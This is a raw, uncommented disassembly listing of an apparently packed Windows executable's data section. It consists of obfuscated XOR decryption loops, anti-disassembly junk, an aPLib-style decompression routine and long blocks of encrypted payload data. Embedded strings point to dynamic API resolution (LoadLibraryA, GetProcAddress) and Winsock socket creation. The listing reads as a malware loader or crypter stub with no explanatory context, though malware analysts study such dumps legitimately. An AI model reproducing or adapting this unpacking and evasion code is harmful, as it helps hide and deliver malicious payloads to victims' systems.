shl byte ptr [ebx-0E1A660h], cl
int 3 ; Trap to Debugger
loc_4F70E5: ; CODE XREF: .data:loc_4F70D4p
adc eax, 685999B7h
sbb byte ptr [edi-19h], 3Bh
adc dx, 0E8EFh
pop edx
add ecx, 8ADh
mov ebx, esi
mov esi, 6BBCE13Dh
xor esi, 6BBCE336h ; CODE XREF: .data:004F7168j
and bh, 0FBh
loc_4F710A: ; CODE XREF: .data:004F7152j
mov edi, [ecx]
mov dx, 0B8C4h
xor edi, 138F9135h
push 36BDBA73h
mov dx, 5C5Ch
pop ebx
add edi, 565D29CAh
movzx eax, di
xor edi, 44A2873Bh
xor bx, 17D5h
mov [ecx], edi
mov edx, 617F2CB6h
sub ecx, 916E924h
mov bl, 73h
add ecx, 916E920h
push 4E3C38BCh
mov ah, dl
pop eax
dec esi
jnz loc_4F710A
and ebx, 43DC61F9h
push edi
pop esi
call near ptr loc_4F7177+2
lodsb
jnz short near ptr loc_4F716E+4
jnp short near ptr loc_4F7101+1
icebp
setalc
push edi
inc esp
loc_4F716E: ; CODE XREF: .data:004F7166j
sub eax, 29B0F362h
scasb
dec edi
fsubr st(5), st
loc_4F7177: ; CODE XREF: .data:004F7160p
mov edx, 1B800F6Bh
; ---------------------------------------------------------------------------
dd 0E8000000h, 12h, 99E0E312h, 550C3F5Eh, 0D1F85B6Ah, 0DA43736h
dd 0B70FD3C2h, 815A58F7h, 0ED6F7DD7h, 20C2814Ah, 66000008h
dd 0BB8679BEh, 0
; ---------------------------------------------------------------------------
mov si, bx
loc_4F71B3: ; CODE XREF: .data:004F7217j
push dword ptr [ebx+edx]
mov edi, esi
pop ecx
mov di, cx
add ecx, 7EF33D50h
sub esi, 22FFED88h
xor ecx, 661FAB49h
movsx edi, cx
xor ecx, 25225C4Eh
add ax, 851Eh
push ecx
jmp loc_4F71F1
; ---------------------------------------------------------------------------
dw 0B81Bh
dd 64F7F691h, 0D09382CDh, 0FCEFCEC9h
db 85h
; ---------------------------------------------------------------------------
loc_4F71F1: ; CODE XREF: .data:004F71DDj
pop dword ptr [edx+ebx]
jg loc_4F71FD
mov ax, di
loc_4F71FD: ; CODE XREF: .data:004F71F4j
mov di, 0B400h
sub ebx, 3
push edx
pop eax
dec ebx
jnb loc_4F7211
mov si, 3DA9h
loc_4F7211: ; CODE XREF: .data:004F7207j
; .data:004F7235j
cmp ebx, 0FFFFF8A0h
jnz loc_4F71B3
jnp loc_4F7229
or eax, 0B25B606h
loc_4F7229: ; CODE XREF: .data:004F721Dj
mov edx, 5B936332h
call sub_4F723B
add [ecx], bh
jle short near ptr loc_4F7211+5
sub al, 0F5h
mov bh, bl
; =============== S U B R O U T I N E =======================================
sub_4F723B proc near ; CODE XREF: .data:004F722Ep
mov dx, 7EC4h
pop esi
mov eax, ebx
add esi, 754h
mov edx, 3FE7463Ah
mov ecx, 1BAh
mov eax, 3C00A2C7h
mov ebx, [esi]
push ebx
mov edx, eax
pop edx
sub ebx, 660AC6EFh
mov eax, 0F11CBB7h
add ebx, 470DB5FCh
call near ptr loc_4F7275+5
push ebx
nop
loc_4F7275: ; CODE XREF: sub_4F723B+33p
mov [esi-7EBA4351h], ecx
sub_4F723B endp ; sp-analysis failed
lock test bp, cx
xor [edi-7Fh], ebx
retn
; ---------------------------------------------------------------------------
db 85h
dd 512B3174h, 831E895Fh, 800F04EEh, 4, 0BCFABF66h, 0F01E983h
dd 0FFFFB685h, 66C38BFFh, 0CE8C38Bh, 54000000h, 0C043F2FDh
dd 0EC9F3EF9h, 80BB4AB5h, 805F84D4h, 0C78169EEh, 6DBh
dd 0CA816651h, 335A47A1h, 0FFCA8BDBh, 81663B34h, 5E37AAC1h
dd 0F5B1168h, 6E4680Eh, 0BF0F560Dh, 815959D6h, 455342EEh
dd 26BA6625h, 53EE8197h, 8B24EEBFh, 90EE81D7h, 8A0524F0h
dd 0D08B56D5h, 0E81F048Fh, 9, 0B0F3622Dh, 0DC4FAE29h, 5880FE5h
dd 0B9000000h, 32DB0E9Dh, 0AE958h, 5B6A0000h, 3736D1F8h
dd 0D3C20DA4h, 6801EB83h, 0E06D73Ch, 58C8BF0Fh, 8B4B4B4Bh
dd 0CCFB81D3h, 0FFFFFF9h, 0FFFF8285h, 38B0FFFh, 80000000h
dd 2D6870C0h, 666E4D71h, 2FDCC081h, 10E859h, 61C80000h
dd 9D744786h, 99E0E312h, 550C3F5Eh, 0F5E5B6Ah, 88Ah, 0F3815100h
dd 36186DC5h, 20C68159h, 81000006h, 68CB72C9h, 681Ah, 665A0000h
dd 3358C181h, 0F3234FFh, 1F8Dh, 198B0F00h, 0E8000000h
dd 13h, 7AA59C0Fh, 4621882Bh, 0D25D3407h, 1E59A0A3h, 5815CCFFh
dd 0DEBF0F5Fh, 83ACC781h, 0B9666AF1h, 0F7813F93h, 21FBA875h
dd 0C781D88Bh, 24F8900Ah, 0DE9h, 0E7A60100h, 83323D94h
dd 0DF7E3900h, 3C89F52Ch, 0D7F38016h, 51B230BBh, 2EEA8164h
dd 8140EF0Ch, 0FB6DEBC3h, 2AC28124h, 0E840EF0Ch, 0Bh, 921DF4C7h
dd 0DE196063h, 80D58CBFh, 8159B6D0h, 0FFFAD8FAh, 1B850FFFh
dd 66000000h, 2BE9DE8Bh, 0AF000000h, 0CB9A45BCh, 0A766C1A8h
dd 43F2FD54h, 9F3EF9C0h, 0D868B5ECh, 0B943577Ch, 78166Dh
dd 0FF42E959h, 69F0FFFFh, 251C8FEEh, 0E8ABFAh, 5D000000h
dd 5B5D895Bh, 5F5D895Bh, 0D858958h, 58000004h, 15A7D80h
dd 85895975h, 425h, 33458D60h, 64C03350h, 896430FFh, 0E8C38B20h
dd 2E4h, 648B1CEBh, 67640824h, 68Fh, 6104C483h, 5063458Dh
dd 0E85F55FFh, 2DEh, 676409EBh, 68Fh, 0EB24C483h, 7048001Bh
dd 0B6A1004Fh, 656B7C80h, 6C656E72h, 642E3233h, 0E8006C6Ch
dd 29Ch, 8CB58DFCh, 0AD000000h, 1B74C00Bh, 0CB9F88Bh, 0F3000000h
dd 10EBA4h, 20004010h, 19B2B343h, 0D700AB11h, 899D4C9Dh
dd 429A5h, 68406A00h, 1000h, 408B5FFh, 6A0000h, 3F095FFh
dd 85890000h, 1CCh, 4009D8Bh, 9D030000h, 40Dh, 4E85350h
dd 6A000001h, 10006840h, 0B5FF0000h, 408h, 95FF006Ah, 3F0h
dd 4318589h, 85890000h, 1D0h, 0A16764h, 2D858900h, 8B000004h
dd 858B5B55h, 1D0h, 858B0289h, 408h, 8D044289h, 39F85h
dd 55408B00h, 8B084289h, 3EC85h, 10428900h, 3E8858Bh, 42890000h
dd 0CC958B14h, 0BB000001h, 1F8h, 0C1A7C8Bh, 1E74FF0Bh
dd 101A4C8Bh, 1174C90Bh, 1D0BD03h, 748B0000h, 0F203141Ah
dd 0F302F9C1h, 28C383A5h, 858BDAEBh, 1CCh, 0D0958B50h
dd 52000001h, 0DA03188Bh, 3E4858Bh, 3890000h, 3E8858Bh
dd 43890000h, 0EC858B04h, 89000003h, 5E5F0843h, 304468Bh
dd 0C78589C7h, 8B000001h, 858B5B55h, 1C7h, 8D0C4289h, 40D9Dh
dd 6A5300h, 16A006Ah, 85E8B57h, 6853DF03h, 8000h, 0FF56006Ah
dd 3F495h, 0E0006800h, 0C3003Bh, 3600h
db 0, 39h, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
pusha
push ebp
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
cld
mov dl, 80h
loc_4F7649: ; CODE XREF: .data:loc_4F7658j
mov al, [esi]
inc esi
mov [edi], al
inc edi
loc_4F764F: ; CODE XREF: .data:004F76ADj
; .data:004F76F2j ...
add dl, dl
jnz short loc_4F7658
mov dl, [esi]
inc esi
adc dl, dl
loc_4F7658: ; CODE XREF: .data:004F7651j
jnb short loc_4F7649
add dl, dl
jnz short loc_4F7663
mov dl, [esi]
inc esi
adc dl, dl
loc_4F7663: ; CODE XREF: .data:004F765Cj
jnb short loc_4F76AF
xor eax, eax
add dl, dl
jnz short loc_4F7670
mov dl, [esi]
inc esi
adc dl, dl
loc_4F7670: ; CODE XREF: .data:004F7669j
jnb loc_4F774C
add dl, dl
jnz short loc_4F767F
mov dl, [esi]
inc esi
adc dl, dl
loc_4F767F: ; CODE XREF: .data:004F7678j
adc eax, eax
add dl, dl
jnz short loc_4F768A
mov dl, [esi]
inc esi
adc dl, dl
loc_4F768A: ; CODE XREF: .data:004F7683j
adc eax, eax
add dl, dl
jnz short loc_4F7695
mov dl, [esi]
inc esi
adc dl, dl
loc_4F7695: ; CODE XREF: .data:004F768Ej
adc eax, eax
add dl, dl
jnz short loc_4F76A0
mov dl, [esi]
inc esi
adc dl, dl
loc_4F76A0: ; CODE XREF: .data:004F7699j
adc eax, eax
jz short loc_4F76AA
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_4F76AA: ; CODE XREF: .data:004F76A2j
mov [edi], al
inc edi
jmp short loc_4F764F
; ---------------------------------------------------------------------------
loc_4F76AF: ; CODE XREF: .data:loc_4F7663j
mov eax, 1
loc_4F76B4: ; CODE XREF: .data:loc_4F76C8j
add dl, dl
jnz short loc_4F76BD
mov dl, [esi]
inc esi
adc dl, dl
loc_4F76BD: ; CODE XREF: .data:004F76B6j
adc eax, eax
add dl, dl
jnz short loc_4F76C8
mov dl, [esi]
inc esi
adc dl, dl
loc_4F76C8: ; CODE XREF: .data:004F76C1j
jb short loc_4F76B4
sub eax, 2
jnz short loc_4F76F7
mov ecx, 1
loc_4F76D4: ; CODE XREF: .data:loc_4F76E8j
add dl, dl
jnz short loc_4F76DD
mov dl, [esi]
inc esi
adc dl, dl
loc_4F76DD: ; CODE XREF: .data:004F76D6j
adc ecx, ecx
add dl, dl
jnz short loc_4F76E8
mov dl, [esi]
inc esi
adc dl, dl
loc_4F76E8: ; CODE XREF: .data:004F76E1j
jb short loc_4F76D4
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_4F764F
; ---------------------------------------------------------------------------
loc_4F76F7: ; CODE XREF: .data:004F76CDj
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_4F7705: ; CODE XREF: .data:loc_4F7719j
add dl, dl
jnz short loc_4F770E
mov dl, [esi]
inc esi
adc dl, dl
loc_4F770E: ; CODE XREF: .data:004F7707j
adc ecx, ecx
add dl, dl
jnz short loc_4F7719
mov dl, [esi]
inc esi
adc dl, dl
loc_4F7719: ; CODE XREF: .data:004F7712j
jb short loc_4F7705
cmp eax, 7D00h
jnb short loc_4F773C
cmp eax, 500h
jb short loc_4F7737
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4F764F
; ---------------------------------------------------------------------------
loc_4F7737: ; CODE XREF: .data:004F7727j
cmp eax, 7Fh
ja short loc_4F773F
loc_4F773C: ; CODE XREF: .data:004F7720j
add ecx, 2
loc_4F773F: ; CODE XREF: .data:004F773Aj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4F764F
; ---------------------------------------------------------------------------
loc_4F774C: ; CODE XREF: .data:loc_4F7670j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_4F7768
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4F764F
; ---------------------------------------------------------------------------
loc_4F7768: ; CODE XREF: .data:004F7754j
pop ebp
sub edi, [ebp+0Ch]
mov [ebp-4], edi
popa
pop ebp
retn 8
; ---------------------------------------------------------------------------
dd 7C80261Ch, 2424448Bh, 0FF000025h, 5FFh, 2D0001h, 66000100h
dd 5A4D3881h, 8960F475h, 3F885h, 8BD08B00h, 3C4003D8h
dd 89785803h, 30D9Dh, 0CC9D8D00h, 8D000003h, 3E4BDh, 89338B00h
dd 37CB5h, 0BE800h, 83AB0000h, 3B8304C3h, 61EA7500h, 9D8B60C3h
dd 30Dh, 3204B8Bh, 3318BCAh, 2FE8F2h, 0CEBF0000h, 3B49CD75h
dd 830574C7h, 0E9EB04C1h, 2B204B2Bh, 3E9D1CAh, 0CA03244Bh
dd 0C109B70Fh, 4B0302E1h, 8BCA031Ch, 89CA0309h, 611C244Ch
dd 8EBA52C3h, 0AC9C3B24h, 1474C00Ah, 8B0D032h, 673EAD1h
dd 0F39AF281h, 0C8FEC1A7h, 0E7EBF275h, 0A7C35A92h, 0F0B72551h
dd 57A7493Bh, 13901902h, 0CE74EE32h, 49CD75h, 0A0000000h
dd 0A17C80ADh, 777C80B6h, 517C801Dh, 0E47C809Ah, 7C809Ah
dd 7C8000h, 28000218h, 0F2000F7Bh, 158h, 300h, 2 dup(400000h)
dd 2 dup(0)
dd 0F2000h, 0F1000h, 0
dd 12FFA4h, 12FFE0h, 390000h, 1000h, 37200h, 16DA7h, 39000h
dd 2600h, 125Eh, 3C000h, 15400h, 81E3h, 0F1000h, 1000h
dd 0E31h, 44h dup(0)
dd 2000h, 8, 6 dup(0)
dd 7C80ADA0h, 7C80B6A1h, 7C801D77h, 2 dup(0)
dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h
dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h
dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h
dd 3 dup(0)
dd 0F7A10h, 0F79FCh, 3 dup(0)
dd 0F7AB4h, 0F7AD9h, 3 dup(0)
dd 0F7ABFh, 0F7AE1h, 3 dup(0)
db 0CCh
db 7Ah, 0Fh, 0
; ---------------------------------------------------------------------------
jmp loc_4F8A1B
; ---------------------------------------------------------------------------
align 4
dd 4 dup(0)
dd 5F327377h, 642E3233h, 6F006C6Ch, 7561656Ch, 2E323374h
dd 6C6C64h, 6E72656Bh, 32336C65h, 6C6C642Eh, 0AB876900h
dd 71h, 126AEA00h, 77h, 812A0900h, 7Ch, 57000000h, 6F534153h
dd 74656B63h, 41h, 69726156h, 43746E61h, 676E6168h, 70795465h
dd 784565h, 61520000h, 45657369h, 70656378h, 6E6F6974h
dd 0
dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h
dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h
dd 6592260h, 2801142Bh, 70122051h, 1A0A012Ah, 47F45001h
dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h, 9150BD24h
dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h
dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h
dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h
dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h
dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h, 8401E488h
dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h, 3968726Ch
dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h
dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h, 0DEE1D3Ah
dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h
dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h
dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch
dd 8320720h, 3618391Ch, 100F7A14h, 80900C23h, 0BE5653C0h
dd 0C774074Ch, 3E8312h, 44683A75h, 0CC066701h, 0DFE8036Ah
dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h
dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h
dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h
dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h, 0ED859602h
dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h
dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h
dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh
dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h
dd 3D0A043h, 0C795300h, 14751612h, 0E8130006h, 27D4DDA7h
dd 0A7F6096h, 4460100h, 4C50EB6Eh, 3B4E0003h, 0D75C215h
dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h
dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h
dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h
dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h
dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h
dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h, 9E2A26h
dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h, 30D476B9h
dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch
dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h
dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h, 68016A04h
dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch
dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh
dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h
dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh, 1C259332h
dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh, 0E4491312h
dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h
dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h
dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h
dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh, 2C05C700h
dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h, 0ED7E0460h
dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h, 0AD2B0C15h
dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h
dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h
dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh
dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h
dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h
dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h
dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h
dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch
dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h, 2E24249h
dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h
dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h
dd 0E55D759h, 557E800h, 74772117h, 46FD0050h, 85764963h
dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h
dd 19CCCB21h, 390BFBAh, 5CCDA7A0h, 7423A500h, 0E83A060Ch
dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh
dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h
dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h
dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h, 8400B175h
dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h
dd 0E345947h, 7850F82h, 9FFF6A66h, 48EB704Bh, 81166B29h
dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h, 38832146h
dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah
dd 1600C7ABh, 26239280h, 98C5F98Bh, 199800FCh, 300DE31Ch
dd 7B000336h, 0BE650F0h, 0DE1F3Bh, 0CFD25B73h, 0D32B7406h
dd 0EB298B00h, 0B844CC05h, 4D4F0089h, 8F5CF1B9h, 0DB038520h
dd 59B61FCAh, 64B490C3h, 0B1892E39h, 0B2A5032Dh, 0F6B80811h
dd 0F2004914h, 40333C48h, 94EB03h, 8E07957Ah, 815C8D52h
dd 9CEC2800h, 662668EAh, 4B7F19h, 3332FF64h, 30DA2289h
dd 68288F00h, 3D800301h, 65700041h, 230A7E16h, 5D000713h
dd 6F8861EFh, 0F8729EB5h, 1214008Ch, 0CA0FF868h, 0A30718CCh
dd 3D832D88h, 841A0650h, 0EFB8002Fh, 5159D85h, 0C900330Eh
dd 0F482C080h, 173D2A40h, 0DAF01h, 2770B841h, 7300BE2Ch
dd 847C62C8h, 52805C6h, 0EA0014Ah, 8CF5005Ah, 6D68100Ah
dd 87299707h, 0C3800F51h, 3BAF3E9h, 0E5EB14FEh, 5DF82EA0h
dd 53001BC4h, 86C8E74Ch, 3CC840Fh, 21D2A4D5h, 0C7971A4Ah
dd 0E068815Eh, 1291F0A1h, 0E74C29B0h, 0B24D0360h, 0D825F477h
dd 423C3Ah, 0A63D51D5h, 0E4B52EB3h, 39FE601h, 61B88993h
dd 117FDE4h, 153E3238h, 0E0535E57h, 0E9007505h, 0DA77CA51h
dd 1F3B1A94h, 80290A52h, 5BDBC2E4h, 537CE080h, 0A17C051Ch
dd 83390980h, 0B1528h, 480213DFh, 0E4F98108h, 7F27AD0Eh
dd 176D0038h, 0B79C985h, 0C183031Ch, 240968Eh, 0CD97D2D5h
dd 0EBF48100h, 51174A24h, 18460FDAh, 0F560F02Ch, 0D6780CBFh
dd 0AE158203h, 752D709h, 938C9D66h, 4AB590EBh, 0C100ED80h
dd 0EE030772h, 70FCF0Ch, 8112C216h, 7518F0FAh, 10009EE8h
dd 31185B9h, 0A08E534Fh, 1CA40BEh, 97F0E983h, 0C401761Ch
dd 7C0010FAh, 703C70Fh, 8B3034h, 2085D14Ch, 28A0D80Ch
dd 0F37C0400h, 0C981428Ah, 808703C8h, 0B260889h, 5FF1490h
dd 87B81C3Fh, 4EA83D0h, 0FCE2ABF0h, 7FE40186h, 15011217h
dd 11EB6020h, 3CAC0B00h, 7C3A0C6Eh, 0CA96000Eh, 2C2B5F02h
dd 13010D84h, 4A522A0Bh, 0A7701C0Ah, 4DB8C2h, 4D08B1FEh
dd 0E1339048h, 9149200h, 31742506h, 47F2Ah, 0A154B0DAh
dd 0AE802B64h, 1133C800h, 0B2FEC2F7h, 20AC1EE2h, 1F643EBh
dd 8AB8FAC7h, 72E0A746h, 0C62B0800h, 58EB703Bh, 8806001Eh
dd 2B64FE8h, 0DE00030Bh, 64455509h, 1FD8963Dh, 7A00733h
dd 20670AA9h, 3E5A250Bh
dd 0B0F8BF00h, 2A824D8h, 13760075h, 0C655F378h, 4600FC32h
dd 8316A008h, 0FE7A23h, 0B02CC74Bh, 0B20994F8h, 13B34503h
dd 984D665Ch, 7FDC5D3Fh, 418D0067h, 52D12B37h, 873D7FF3h
dd 0C49CAEC9h, 0FBC5FA00h, 4C7DE9E3h, 7F39B412h, 91925304h
dd 0C37AC466h, 25F80F47h, 8D00EFA8h, 1157E746h, 822CF4h
dd 0B979EDD6h, 0D5C6301Eh, 0B5002B79h, 0AA6BE342h, 705AF813h
dd 0C29A3A73h, 148D0A00h, 0E8D0BCC7h, 350B4600h, 0F82CEF9Eh
dd 1B00060h, 489C5A59h, 30006BE9h, 7389DFA0h, 2C0239BAh
dd 0D3C603h, 14095C1h, 990EFE81h, 0A137984Eh, 359AD285h
dd 0FAC2F4h, 4D2E4C9Bh, 0A5F49009h, 4410BC00h, 1D5C890Dh
dd 25B0013h, 3AEB1B87h, 431FE369h, 0C3001296h, 0E6BF5A92h
dd 407F002Ch, 0D4B7C3Ch, 73C3921h, 8283090Ch, 84EF0017h
dd 1CCD1D33h, 0AE2E4BB3h, 1FC20057h, 0EA7E1180h, 8E099200h
dd 836252FDh, 0EB210307h, 1441A12Bh, 0B930C8C0h, 84421500h
dd 7448C51h, 591913CAh, 0A8870EAFh, 78962640h, 6B050969h
dd 8D41670Eh, 0C7A5FB80h, 0C2FC58F8h, 220D4A03h, 8CE30835h
dd 468240FFh, 521D7C3Bh, 0D8400712h, 5FE82606h, 297B0099h
dd 4470119h, 9D030320h, 7449F30Bh, 0C63FC824h, 0E8170781h
dd 5033ABCFh, 117A842Dh, 0DD0024F6h, 485932C7h, 5EDF6Dh
dd 3735F56Fh, 4D3E7D82h, 5D218300h, 9D10FE93h, 0C96C0094h
dd 0F174D4CFh, 6B00E809h, 9833C606h, 8B3E36h, 0D7396C4h
dd 22075CAh, 73A905Ch, 0BEC6490Ch, 8DCC5EF0h, 2E527FE1h
dd 1C2FBAAh, 94B60CAh, 2E8FC882h, 8E90A23Bh, 0A03D02F8h
dd 94167FEFh, 0C46E005Ch, 0AA808254h, 87B75D2h, 0EAC55E03h
dd 98CDA984h, 0BF1620h, 0BD0B8291h, 0D4E19B80h, 775C5375h
dd 0B184007Fh, 881F1728h, 4C7E006Ch, 19920B7Bh, 7F1F31D7h
dd 0EBC38E43h, 90281F42h, 79F4BB74h, 16630026h, 67D10DE4h
dd 12000E5Fh, 4E4149D8h, 3FF1B95h, 907889Ah, 0F6D87AE9h
dd 1800EB3Bh, 0A29A448h, 927D83h, 0FD8498C7h, 4538153Dh
dd 0C400B3FEh, 288C3501h, 7AD9B1D6h, 0F30A024Bh, 4432CEEEh
dd 4C515160h, 3E66F51Dh, 0B0C0BC1Dh, 5658B61h, 0D33C0074h
dd 92D60317h, 0EB004D32h, 41F211C1h, 5758Ch, 73D69DAh
dd 15CAD33h, 4E0E6A00h, 645D4B7Eh, 559500D4h, 172DB68Dh
dd 0A5000296h, 9908ABE8h, 0E8480AB1h, 0E92A02FCh, 0C9F4D5FAh
dd 2DE07B62h, 26006920h, 17210231h, 24C3838Eh, 53EEDCh
dd 2AD2FB28h, 8B00BB05h, 22F581E0h, 0F0B0Ch, 0CD64938Fh
dd 34C98491h, 79F27D0Fh, 0C6142092h, 2A7C303h, 50014289h
dd 0F7E075D0h, 0D48212Ah, 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh
dd 863D039Fh, 768F4420h, 844DB412h, 2E804C1Ch, 611F0D5Eh
dd 6952005Dh, 0ABBC4AEFh, 0EB0390F2h, 0E8051D21h, 8E14A8CBh
dd 3BC43DD0h, 7FE18801h, 70294A2Ah, 431654E6h, 41E030Dh
dd 9298E4C0h, 57861Dh, 0D4B755D3h, 349A9732h, 411A0E00h
dd 0FF429271h, 73D7B20h, 824B568Bh, 0A85D4026h, 88002449h
dd 643CA351h, 7522CFAh, 851F8D28h, 0F0671016h, 6A58BDD8h
dd 0E90400EDh, 999812A0h, 2246009Eh, 97A884F5h, 1E0051F1h
dd 75F0C3F6h, 4843A40Fh, 69004144h, 98897970h, 4A1F6864h
dd 80C125C3h, 53A92B5h, 7CED0D8h, 45C50154h, 0AAE9708Bh
dd 4B00509Ch, 57675D08h, 0E012F7h, 3F32CC95h, 48C3140Ah
dd 3BC22B1Fh, 0C91456EEh, 990C0389h, 0D89AA5A6h, 0E8E244h
dd 3D3B24F8h, 2C754248h, 4C3F71E6h, 81808256h, 0C025D4BBh
dd 57EA2h, 709985E6h, 0DCABA5A4h, 108B8000h, 7402C2F6h
dd 611C3A4Eh, 7204FA80h, 400B88F4h, 8833700h, 3B29EA01h
dd 0ADC7078Bh, 0F0B60578h, 0C5065DB4h, 0EC081626h, 51132400h
dd 459F8Bh, 0D332988Eh, 25C688A2h, 3DA16900h, 0A521A636h
dd 5E740022h, 75B0295Dh, 0C60BD582h, 0E6ED30h, 10BE1249h
dd 70E8078Bh, 0D0D7F54Dh, 0F14CB8E1h, 324C500h, 3B01C8C7h
dd 8C0F02FEh, 0D71C4083h, 0BDB69DC0h, 0F8D33F00h, 0C1387516h
dd 52905E0h, 0C5675333h, 7DED0087h, 4C8D0F0Eh, 789814F0h
dd 29C81F00h, 0E9F7216Fh, 82F65Ah, 3F6D833h, 0AA285E02h
dd 16AD300h, 0A96BD49Eh, 1BD8E1FBh, 3DD008Bh, 415DDE69h
dd 0E70089FEh, 0F5753E4Ah, 343525h, 0C7A9823Ch, 84AEEADAh
dd 27674B00h, 7C23DC2Eh, 5453005Eh, 15DB68C2h, 0E00F758h
dd 28AA18F2h, 6034214h, 0A819C735h, 2C16B050h, 0C1071CD2h
dd 0B502025h, 4A89F0h, 0E9D70675h, 0CA91DD73h, 5295AA00h
dd 4D24B1DFh, 0C2960078h, 0E4F57F85h, 3B140697h, 859A81h
dd 14831F2Bh, 98E0DAh, 932CEBE5h, 3587299Eh, 0D1322400h
dd 0C3404A0Eh, 485D07C7h, 203A8FD3h, 93E25434h, 0C40029F6h
dd 2356F72Eh, 0C2421h, 0ABAFD81Ch, 2B7A04A0h, 74F805FAh
dd 77020900h, 641363E9h, 7EBFA4Ah, 5E5AA719h, 741460B8h
dd 0FC00F25Dh, 7815D9B9h, 1731C422h, 4E6F25h, 0AB10837Eh
dd 500C012h, 0EBFC5D89h, 76C364Dh, 330F7F19h, 4881D0F8h
dd 0C2009FEAh, 0F40662CEh, 7DF04Fh, 84973802h, 1AA811F8h
dd 9100CBF0h, 5C164BE8h, 0FC0747EBh, 7D890009h, 3821939Ch
